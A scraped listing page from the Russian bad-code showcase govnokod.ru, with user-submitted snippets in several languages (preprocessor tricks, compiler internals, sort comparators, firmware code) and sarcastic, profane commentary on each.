(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)https://github.com/orangeduck/CPP_COMPLETE/ A Brainfuck interpreter written in the C preprocessor.
Комментарии (14) -
C++ / Говнокод #21425
−18
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
uint64_t ObjectLoadListener::getRelocationAddend(uint64_t LLVMRelocationType, uint8_t *FixupAddress) { uint64_t Addend = 0; switch (LLVMRelocationType) { case IMAGE_REL_AMD64_ABSOLUTE: Addend = *(uint32_t *)FixupAddress; break; case IMAGE_REL_AMD64_ADDR64: Addend = *(uint64_t *)FixupAddress; break; case IMAGE_REL_AMD64_REL32: Addend = *(uint32_t *)FixupAddress; break; default: llvm_unreachable("Unknown reloc type."); } return Addend; }https://github.com/dotnet/llilc/blob/97cf48ea9a3cdf4a2582a95683a74b572f4cfe45/lib/Jit/LLILCJit.cpp#L770-L787
Надеюсь, мне не нужно объяснять, в чем тут говно?Комментарии (142) -
Python / Говнокод #21168
−50
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
# my_first_calculator.py by AceLewis # TODO: Make it work for all floating point numbers too if 3/2 == 1: # Because Python 2 does not know maths input = raw_input # Python 2 compatibility print('Welcome to this calculator!') print('It can add, subtract, multiply and divide whole numbers from 0 to 50') num1 = int(input('Please choose your first number: ')) sign = input('What do you want to do? +, -, /, or *: ') num2 = int(input('Please choose your second number: ')) if num1 == 0 and sign == '+' and num2 == 0: print("0+0 = 0") if num1 == 0 and sign == '+' and num2 == 1: print("0+1 = 1") if num1 == 0 and sign == '+' and num2 == 2: print("0+2 = 2") if num1 == 0 and sign == '+' and num2 == 3: print("0+3 = 3") if num1 == 0 and sign == '+' and num2 == 4: print("0+4 = 4") if num1 == 0 and sign == '+' and num2 == 5: print("0+5 = 5") if num1 == 0 and sign == '+' and num2 == 6: print("0+6 = 6") ...https://github.com/AceLewis/my_first_calculator.py/blob/master/my_first_calculator.py оптимизация!
Комментарии (6) -
Си / Говнокод #20958
+1004
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
// shit.h : #if END_SHIT == 0 bagor++; #if BIT0 == 0 #undef BIT0 #define BIT0 1 #else #undef BIT0 #define BIT0 0 #if BIT1 == 0 #undef BIT1 #define BIT1 1 #else #undef BIT1 #define BIT1 0 #if BIT2 == 0 #undef BIT2 #define BIT2 1 #else #undef BIT0 #undef BIT1 #undef BIT2 #define END_SHIT 1 #endif #endif #endif #include "shit.h" #endif //shit.c #include <stdio.h> int main(void) { int bagor = 0; #define BIT0 0 #define BIT1 0 #define BIT2 0 #include "shit.h" printf("bagor = %i\n", bagor); return 0; }http://govnokod.ru/20947#comment348047
CHayT 3 часа назад # 0
> нет ни циклов, ни рекурсий
Можно, думаю, файлы сами в себя инклудить, чем не рекурсия. Не очень понятно, что с этим делать, правда.
-----
Но ведь совершенно очевидно, что с этим можно делать. Очередной шедевр макроговнаКомментарии (46) -
C++ / Говнокод #20947
+2302
- 1
- 2
- 3
- 4
- 5
http://govnokod.ru/20924 Запрашиваемая страница не найдена! Возможно, её и не было никогда
но бекап я сделал, так что хуй вам. Я требую продолжения банкета.http://dump.bitcheese.net/files/pimarut/%D0%93%D0%BE%D0%B2%D0%BD%D0%BE%D0%BA%D0%BE%D0%B4_%2320924_%E2%80%94_C___%E2%80%94_%D0%93%D0%BE%D0%B2%D0%BD%D0%BE%D0%BA%D0%BE%D0%B4.%D1%80%D1%83.htmlКомментарии (60)-
Куча / Говнокод #20482
+7
- 1
http://dump.bitcheese.net/images/aditoso/sc.pngУмножение двух трехбитных чисел с применением https://ru.wikipedia.org/wiki/Дешифратор
Для сравнения - вот умножение через сумматоры https://i.imgur.com/9JCy2D2.pngКомментарии (22) -
Куча / Говнокод #20480
+7
- 1
https://twitter.com/neuromzanНейросеть научилась писать твиты за Рамзана Кадырова https://nplus1.ru/news/2016/08/05/neurokad
ВорецииКомментарии (2) -
Assembler / Говнокод #20423
−715
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
return instruction emitted twice with branch target inbetween function unsigned int fact( unsigned int n) { return n < 1 ? 1 : n*fact(n-1); } produces fact: .LFB0: .cfi_startproc testl %edi, %edi movl $1, %eax je .L4 .p2align 4,,10 .p2align 3 .L3: imull %edi, %eax subl $1, %edi jne .L3 rep ret # <-- this instruction can be removed .L4: rep ret .cfi_endproc .LFE0: .size fact, .-fact .section .text.unlikelyhttps://gcc.gnu.org/bugzilla/show_bug.cgi?id=71923 даже факториал не могут скомпилировать нормально
Комментарии (56) -
Си / Говнокод #20418
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
Имеем приблизительно такой код #define XXX(n) ar[n]=s._field_##n; XXX(01); XXX(02); XXX(03); XXX(04); XXX(05); XXX(06); XXX(07); XXX(08); Естесвенно при при компиляции получаем ошибку, т.к. 08 это неправильная восмеричная константа. Обойти можно так #define XXX(n) ar[1##n-100]=s._field_##n; Но как-то это некрасиво. Может есть более красивый подход?https://www.linux.org.ru/forum/development/12607523
Комментарии (45) -
Си / Говнокод #20402
−50
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
Timer_Overflow_Interrupt(void) { switch(TMR_State) // Обработчик прерывания по переполнению { case 0: { Clr_Pin(); // Вывод в 0 TCNT = 255-100; // Задержка в 100 (до переполнения) TMR_State = 1; // Следующая стадия 1 Break; // Выход } case 1: { Set_Pin(); TCNT = 255-1; TMR_State = 2; Break; } case 2: { Clr_Pin(); TCNT = 255-5; TMR_State = 3; Break; } case 3: { Set_Pin(); TCNT = 255-2; TMR_State = 4; Break; } case 4: { Clr_Pin(); TCNT = 255-3; TMR_State = 5; Break; } case 5: { Set_Pin(); TCNT = 255-4; TMR_State = 6; Break; } case 6: { Clr_Pin(); Timer_OFF(); // Выключаем таймер. Работа окончена TMR_State = 0; // Обнуляем состояние Break; } default: break; } }http://easyelectronics.ru/avr-uchebnyj-kurs-konechnyj-avtomat.html
А не лучше ли сделать массив указателей на функции, каждая из которых будет соответствовать case-у, и пусть там оно вызывает из массива фукнцию под номером TMR_State? Притом вот эту хню TMR_State = 1; TMR_State = 2; TMR_State = 3; которая дублируется во всех этих case-ах, ее ж можно хуйнуть всего один раз, типа TMR_State = (TMR_state+1)%7. Хотя для AVR контроллеров это скорее всего будет дорогая операция, так что можно хуйнуть TMR_State = TMR_state == 7 ? 0 : TMR_state+1;Комментарии (52) -
Си / Говнокод #20350
−47
- 1
while((*dst++ = *src++));двойные скобки, чтоб заткнуть ворнинг
warning: suggest parentheses around assignment used as truth value [-Wparentheses]Комментарии (23) -
Си / Говнокод #20309
−46
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
#include <stdio.h> #include <inttypes.h> #define REORDER3(b1,b2,b3,a1,a2,a3) do {uint32_t b1_tmp = a1; uint32_t b2_tmp = a2; b3 = a3; b1 = b1_tmp; b2 = b2_tmp;} while (0) void uintprint3(uint32_t *a) { printf("%u %u %u\n", a[0], a[1], a[2]); } void sort3(uint32_t a[3] ) { if (a[0] > a[1]) { if (a[1] > a[2]) { REORDER3 ( a[0], a[1], a[2], a[2], a[1], a[0]); return; } else { if (a[0] > a[2]) { REORDER3 ( a[0], a[1], a[2], a[1], a[2], a[0]); return; } else { REORDER3 ( a[0], a[1], a[2], a[1], a[0], a[2]); return; } } } else { if (a[1] <= a[2]) { return; //NO REORDER } else { if (a[0] <= a[2]) { REORDER3 ( a[0], a[1], a[2], a[0], a[2], a[1] ); return; } else { REORDER3 ( a[0], a[1], a[2], a[2], a[0], a[1] ); return; } } } } int main(void) { uint32_t a[] = {0, 1, 2}; uint32_t b[] = {0, 2, 1}; uint32_t c[] = {1, 2, 0}; uint32_t d[] = {1, 0, 2}; uint32_t e[] = {2, 0, 1}; uint32_t f[] = {2, 1, 0}; sort3(a); sort3(b); sort3(c); sort3(d); sort3(e); sort3(f); uintprint3(a); uintprint3(b); uintprint3(c); uintprint3(d); uintprint3(e); uintprint3(f); return 0; }Вот как сортировать надо. А то всякие жабаскриптики http://govnokod.ru/20308 непонятные.
Это говно кстати можно автосгенерировать для произвольной длины, но мне что-то западло этим заниматьсяКомментарии (10) -
Си / Говнокод #20289
−47
- 1
http://ache.vniz.net/demos.html> Cвоеобразный программисткий подвиг совершил Дима Бурков. В то время начали появляться первые PC. Unix на них выглядел неубедительно. Linux еще не появился, зато повился Venix. Хачить его было невозможно - не было исходных текстов ядра. Дима Бурков реассемблировал ядро, потом писал программы на Си, которые давали тот же текст ассемблера - так появились тексты ядра на Си ... работа не для слабонервных.
А вот интересно, можно ли сделать декомпилятор таким способом? Например, если известна точная версия GCC и флаги компиляции, которые использовались (ну и естественно исходники компилятора должны быть в наличии) то перебирать с эвристиками некий Си-код, пользуясь дизасм-листингом для подсказки и сравнения. Какой подход использует Hex-Rays например? Вряд ли они исходники GCC ковырялиКомментарии (12) -
Си / Говнокод #20245
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
// ПРЕОБРАЗОВАНИЕ КОДА И КОНЕЧНЫЕ АВТОМАТЫ // --------------------------------------- // (проектируем очень хуево дизассемблируемый код) int T[256] = { 4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // , - 0 1 2 3 4 5 6 7 8 9 0,0,0,0,0,0,0,0,0,0,0,0,2,3,0,0, 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }; for(;;) { int A; switch( S ) { case 0: switch( T[*c] ) { case 1: { S=1; A=1; }; break; default: { S=5; A=2; }; break; } break; case 1: switch( T[*c] ) { case 2: { S=0; A=2; }; break; case 1: { S=1; A=3; }; break; case 3: { S=2; }; break; case 4: { S=4; A=2; }; break; case 0: { S=5; }; break; } break; case 2: switch( T[*c] ) { case 1: { S=3; A=4; }; break; default: { S=5; }; break; } break; case 3: switch( T[*c] ) { case 2: { S=0; A=5; }; break; case 1: { S=3; A=6; }; break; case 4: { S=4; A=5; }; break; default: { S=5; }; break; } break; case 4: A = 7; break; case 5: A = 8; break; } switch( A ) { case 1: { l=*c-'0'; c++; }; break; case 2: { store(l,l); c++; }; break; case 3: { l=l*10+*c-'0'; c++; }; break; case 4: { h=*c-'0'; c++; }; break; case 5: { store(l,h); c++; }; break; case 6: { h=h*10+*c-'0'; c++; }; break; case 7: { exit(); }; break; case 8: { error(); }; break; } }http://z0mbie.daemonlab.org/automaton.txt отсюда
Мне это напомнило вот эту вот ебанутейшую хуиту https://src.chromium.org/viewvc/native_client/trunk/src/native_client/src/trusted/validator_ragel/gen/validator_x86_64.c из хрома, которая делает валидацию опкодов из-под NaCl, его через какой-то ragel делаютКомментарии (15) -
Assembler / Говнокод #20234
+70
- 1
https://youtu.be/hB6eY73sLV0?t=241Исполнение произвольного кода(в данном случае Flappy Bird) в Super Mario World. Запись инструкций в память происходит посредством прыжков в нужных координатах.
Комментарии (7)-
Си / Говнокод #20200
−47
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
int hardinfo_updata( struct UPINFO * headinfo, struct HARDINFO * hardinfo ) { char sbuf[128] ; int sn_len = 0 ; char *psn ; printf("%s\n",__FUNCTION__ ) ; memset( sbuf, 0xFF, 128 ) ; if( strcmp( hardinfo->flag, "hardinfo") != 0 ) { psn = (char *)hardinfo ; sn_len = *psn ; psn += 1; memcpy( sbuf, psn , 127 ) ; } else { sn_len = hardinfo->sn_len ; memcpy(sbuf, hardinfo->sn, 128 ) ; } memcpy( hardinfo, &(headinfo->hardinfo), sizeof( struct HARDINFO ) ) ; hardinfo->sn_len = sn_len ; if( hardinfo->sn_len > 128 ) hardinfo->sn_len = 128 ; memcpy( hardinfo->sn, sbuf, hardinfo->sn_len ) ; memset( 0x30008000, 0xFF, 0x20000 ) ; memcpy( 0x30008000, hardinfo, sizeof( struct HARDINFO ) ) ; memset( sbuf, 0xFF, 128 ) ; sprintf( sbuf, "%s %x %x\0", "nand erase 80000 80000 ;nand write 0x30008000", 0x80000, 0x20000) ; run_command( sbuf,0); memset( sbuf, 0, 128 ) ; sprintf( sbuf, "%s %x\0", "nand read 0x31000000 80000 ", 0x20000 ) ; run_command(sbuf, 0 ) ; if( memcmp( 0x30008000, 0x31000000, sizeof( struct HARDINFO) ) != 0 ) { printf("bootloader data crc error\n") ; return 0 ; } else { printf("update hardinfo is ok\n") ; } return 1 ; }CRC через memcpy. Из пропатченного китайцами u-boot
Комментарии (65) -
Си / Говнокод #20170
−49
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
bool decode_hex(void *p, size_t max_len, const char *hexstr, size_t *out_len_) { static const unsigned char hexdigit_val[256] = { ['0'] = 0, ['1'] = 1, ['2'] = 2, ['3'] = 3, ['4'] = 4, ['5'] = 5, ['6'] = 6, ['7'] = 7, ['8'] = 8, ['9'] = 9, ['a'] = 0xa, ['b'] = 0xb, ['c'] = 0xc, ['d'] = 0xd, ['e'] = 0xe, ['f'] = 0xf, ['A'] = 0xa, ['B'] = 0xb, ['C'] = 0xc, ['D'] = 0xd, ['E'] = 0xe, ['F'] = 0xf,}; if (!p || !hexstr) return false; if (!strncmp(hexstr, "0x", 2)) hexstr += 2; if (strlen(hexstr) > (max_len * 2)) return false; unsigned char *buf = p; size_t out_len = 0; while (*hexstr) { unsigned char c1 = (unsigned char) hexstr[0]; unsigned char c2 = (unsigned char) hexstr[1]; unsigned char v1 = hexdigit_val[c1]; unsigned char v2 = hexdigit_val[c2]; if (!v1 && (c1 != '0')) return false; if (!v2 && (c2 != '0')) return false; *buf = (v1 << 4) | v2; out_len++; buf++; hexstr += 2; } if (out_len_) *out_len_ = out_len; return true; }https://gist.github.com/aido/9490244#file-der_test-L16 оптимизция!
Комментарии (48) -
Си / Говнокод #20141
−49
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
#include <stdio.h> #include <string.h> #include <stdlib.h> int digits(char **arr_ptr, void **func_ptr) { char *a = *arr_ptr; if (*a == '9') { if ( *(func_ptr-1) == NULL ) { return 0; } else { *a = '0'; return ( *(int(*)(char **, void **)) *(func_ptr-1) )(arr_ptr-1,func_ptr-1); } } (*a)++; return 1; } int az_AZ(char **arr_ptr, void **func_ptr) { char *a = *arr_ptr; if (*a == 'z') { *a = 'A'; return 1; } if (*a == 'Z') { if ( *(func_ptr-1) == NULL ) { return 0; } else { *a = 'a'; return ( *(int(*)(char **, void **)) *(func_ptr-1) )(arr_ptr-1,func_ptr-1); } } (*a)++; return 1; } int main(void) { char a[] = "$#hui"; // $ - azAZ ; # - 1234567890 size_t len = strlen(a); char **char_ptr_arr = malloc(sizeof(char *) * len); char **char_ptr_arr_p = char_ptr_arr; void **func_ptr = malloc(sizeof(void *) * (len+1)); func_ptr[0] = NULL; void **func_ptr_p = func_ptr+1; char *i = a; while (*i != 0) { if (*i == '$') { *char_ptr_arr_p = i; char_ptr_arr_p++; *func_ptr_p = (void *)az_AZ; func_ptr_p++; *i = 'a'; } else if (*i == '#') { *char_ptr_arr_p = i; char_ptr_arr_p++; *func_ptr_p = (void *)digits; func_ptr_p++; *i = '0'; } i++; } printf("%s ", a); while (( *(int(*)(char **, void **)) *(func_ptr_p-1) )(char_ptr_arr_p-1,func_ptr_p-1) != 0 ) { printf("%s ", a); } printf("%s\n", a); fflush(stdout); free(char_ptr_arr); free(func_ptr); return 0; }Перебиралка всех кобенаций паролей по маске на сишке, где функции через стек из указателей на функции друг друга вызывают через воиды.
http://govnokod.ru/20137#comment333406 отсюда:
Надо конечно typedef всунуть для функции, но там жопа с рекурсивным определением функции X = (int()(char **, X **))
По сути, надо чтобы функция в качестве аргумента принимала указатель того же типа, что и та сама функция, а такое рекурсивное определение типа в Си нельзя делатьКомментарии (17) -
Куча / Говнокод #20110
−17
- 1
- 2
- 3
(x) { if F(x,x) then { for(;;) } }http://www.michurin.net/computer-science/halting-problem.html
Неразрешимость проблемы остановки имеет много доказательств. В терминах функций её очень просто доказать от противного.
Допустим, у нас уже есть решение — функция F, которая принимает на вход некую функцию (вернее строку с текстом функции, байт-кодом или иной записью функции) и некие данные и отвечает на вопрос: «остановится ли функция-первый-аргумент, при работе с данными-вторым-аргументом, или будет работать вечно?»
Давайте создадим функцию P(x), такого вида (на C-образном языке):
P(x) { if F(x,x) then { for(;;) } }
Строку, которая кодирует эту функцию обозначим p. Что будет, если мы вызовем функцию F(p,p)? Возможны два исхода:
True, если P останавливается. Но при этом P(p) как раз не останавливается, если F(p,p)=True, то запускается бесконечный цикл.
False, если P зависает. Но, как не трудно видеть, именно в этом случае P(p) не зависнет.
Мы получили противоречие потому, что наша начальная посылка о существовании магической функции F была не правильной.
Получается, что задача останова неразрешима. Вернее, нельзя написать программу, которая бы решала эту задачу. Иными словами, нельзя написать парсер программного кода, который бы мог оценить, зависнет разбираемый код или нет.
В данном доказательстве на довольно глубинном уровне зарыто говно. Подробности в комментарияхКомментарии (123) -
JavaScript / Говнокод #20105
+6
- 1
- 2
- 3
- 4
> var x = new String("eval(x.toString())"); undefined > eval(x.toString()); RangeError: Maximum call stack size exceededYo dawg, I heard you like evaluation. So I put evaluation in your evaluation so you could evaluate while you evaluate
Жаль что nodejs не осиливает заоптимизировать это как бесконечный циклКомментарии (20) -
C++ / Говнокод #20095
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
//... /* See if this is something like X * C - X or vice versa or if the multiplication is written as a shift. If so, we can distribute and make a new multiply, shift, or maybe just have X (if C is 2 in the example above). But don't make something more expensive than we had before. */ if (SCALAR_INT_MODE_P (mode)) { rtx lhs = op0, rhs = op1; wide_int coeff0 = wi::one (GET_MODE_PRECISION (mode)); wide_int coeff1 = wi::one (GET_MODE_PRECISION (mode)); if (GET_CODE (lhs) == NEG) { coeff0 = wi::minus_one (GET_MODE_PRECISION (mode)); lhs = XEXP (lhs, 0); } else if (GET_CODE (lhs) == MULT && CONST_SCALAR_INT_P (XEXP (lhs, 1))) { coeff0 = std::make_pair (XEXP (lhs, 1), mode); lhs = XEXP (lhs, 0); } else if (GET_CODE (lhs) == ASHIFT && CONST_INT_P (XEXP (lhs, 1)) && INTVAL (XEXP (lhs, 1)) >= 0 && INTVAL (XEXP (lhs, 1)) < GET_MODE_PRECISION (mode)) { coeff0 = wi::set_bit_in_zero (INTVAL (XEXP (lhs, 1)), GET_MODE_PRECISION (mode)); lhs = XEXP (lhs, 0); } if (GET_CODE (rhs) == NEG) { coeff1 = wi::minus_one (GET_MODE_PRECISION (mode)); rhs = XEXP (rhs, 0); } else if (GET_CODE (rhs) == MULT && CONST_INT_P (XEXP (rhs, 1))) { coeff1 = std::make_pair (XEXP (rhs, 1), mode); rhs = XEXP (rhs, 0); } else if (GET_CODE (rhs) == ASHIFT && CONST_INT_P (XEXP (rhs, 1)) && INTVAL (XEXP (rhs, 1)) >= 0 && INTVAL (XEXP (rhs, 1)) < GET_MODE_PRECISION (mode)) { coeff1 = wi::set_bit_in_zero (INTVAL (XEXP (rhs, 1)), GET_MODE_PRECISION (mode)); rhs = XEXP (rhs, 0); } if (rtx_equal_p (lhs, rhs)) { rtx orig = gen_rtx_PLUS (mode, op0, op1); rtx coeff; bool speed = optimize_function_for_speed_p (cfun); coeff = immed_wide_int_const (coeff0 + coeff1, mode); tem = simplify_gen_binary (MULT, mode, lhs, coeff); return (set_src_cost (tem, mode, speed) <= set_src_cost (orig, mode, speed) ? tem : 0); } }https://gcc.gnu.org/viewcvs/gcc/trunk/gcc/simplify-rtx.c?view=markup&pathrev=232689#l2062 здоровенная такая функция из недр GCC, в которой делаются оптимизации, это сродни символьным вычислениям вообще говоря
https://godbolt.org/g/vcEqe7 но похоже эта хрень работает плохо, не смогло оно выявить тождественность умножения сдвигами и обычного умножения, сведя операции к return 1 в случае функции test1. Но я естественно находил и примеры кода, которые GCC смог успешно "редуцировать" своим оптимизатором, а clang тупил. Говно тут в том, что вместо того, чтобы впилить нормальную систему символьных вычислений, там нагородили какого-то ебучего говна... Хотя может быть я чего-то не понимаю в компиляторах. Надо будет дракона почитатьКомментарии (66) -
Си / Говнокод #20090
−48
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
# define l2cn(l1,l2,c,n) { \ c+=n; \ switch (n) { \ case 8: *(--(c))=(unsigned char)(((l2)>>24L)&0xff); \ case 7: *(--(c))=(unsigned char)(((l2)>>16L)&0xff); \ case 6: *(--(c))=(unsigned char)(((l2)>> 8L)&0xff); \ case 5: *(--(c))=(unsigned char)(((l2) )&0xff); \ case 4: *(--(c))=(unsigned char)(((l1)>>24L)&0xff); \ case 3: *(--(c))=(unsigned char)(((l1)>>16L)&0xff); \ case 2: *(--(c))=(unsigned char)(((l1)>> 8L)&0xff); \ case 1: *(--(c))=(unsigned char)(((l1) )&0xff); \ } \ }https://github.com/openssl/openssl/blob/6218a1f57e7e25a6b9a798f00cf5f0e56a02ff31/crypto/des/des_locl.h#L151
Интересно, на кой им делать там &0xff если оно в unsigned char скастовано и лишние биты там уже обрезаны? Или они там предполагают что unsigned char может быть не 8-битным? И вообще, это какая-то херня, почему б просто не узнать endian и не сделать memcpy предварительно развернув байты в случае необходимости? Другого макроговна там тоже хватаетКомментарии (24) -
Куча / Говнокод #20089
0
- 1
- 2
- 3
- 4
<div style="color: red; width: 100%; height:14pt; font-weight: bold;">STOP RUSSIAN AGGRESSION AGAINST <span style="position: absolute; color: yellow; text-shadow: 1px 1px darkred;"> <span style="position: absolute; height: 50%; color: blue; overflow: hidden;">UKRAINE!</span>UKRAINE!</span> </div>Какой хитрый дизайнерский ход! Это было обнаружено на http://vxheaven.org/
пороюсь еще в исходниках вирусни которую там выкладывают, наверняка там много говна
предлагаю добавить html в список допустимых языков на говнокодеКомментарии (183) -
Куча / Говнокод #20044
+6
- 1
- 2
Что вообще за херня, почему для каждого язычка(рантайма) делают свой пакетный менеджер? pip, npm, cabal, Quicklisp, opam, nuget, NPMчо там еще? И притом все они считают что для языка %LanguageName% всенепременно надо писать пакетный менеджер на нем самом.Вот например когда я что-то устанавливл через pip, какая-то там херня требует openssl-devel. И узнаю я это только по ошибкам компиляции, ну т.е. там какая-то поебень криптографическая вызывается из питона, оно при установке компилирует через GCC некое говно которое инклудит какое-то .h говно от openssl, но поскольку этого .h нет, оно обламывается на этапе компиляции. Какого хера я про это должен узнавать только на этапе компиляции блядь? Какого хера я должен вручную разруливать эти говнозависимости? А если например будет программа на руби которая использует программу на лиспе, которая использует программу на хаскеле использующую программу на окамле, то что мне, всю эту поеботу тоже руками разруливать по цепочке?
https://blog.versioneye.com/2014/01/15/which-programming-language-has-the-best-package-manager/
какие-то уебни еще сравнивают, какой язык имеет лучший пакетный менеджер... Мудачье! Кто вам сказал что делать для каждого ёбаного языка свой пакетный менеждер это хорошая идея и что среди них может быть "лучший"? Они все говно по определению. Нужно или некое стандартное API для общения между разными пакетными менеджеры разных языков, или один единый пакетный менеджер для всего и под все ОС(а не только Gentoo).Комментарии (76) -
JavaScript / Говнокод #20037
+1
- 1
http://pastebin.com/xww1EKP1http://map.vmr.gov.ua/scripts/__RasPil.js - было тут
Комментарии (4)-
Си / Говнокод #20003
−47
- 1
- 2
- 3
- 4
int cmpfunc (const void * a, const void * b) { return ( *(int*)a - *(int*)b ); }в догонку к http://govnokod.ru/19968
http://www.tutorialspoint.com/c_standard_library/c_function_qsort.htm
Переполнение знаковых целых чисел - не, не слышалКомментарии (46) -
JavaScript / Говнокод #19984
+4
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
$ nodejs > var buffer = new ArrayBuffer(2); undefined > var uint16View = new Uint16Array(buffer); undefined > var uint8View = new Uint8Array(buffer); undefined > uint16View[0]=0xff00 65280 > uint8View[1] 255 > uint8View[0] 0https://developer.mozilla.org/en/docs/Web/JavaScript/Typed_arrays
endianness - теперь и в жабаскрипте. Почти как unionКомментарии (15) -
Си / Говнокод #19968
−47
- 1
- 2
- 3
- 4
- 5
- 6
- 7
static inline int int_cmp(const void *a, const void *b) { const ut64 va = *(const ut64 *)a; const ut64 vb = *(const ut64 *)b; if (va > vb) return 1; if (va < vb) return -1; return 0; }Комментарии (13) -
Си / Говнокод #19842
−48
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
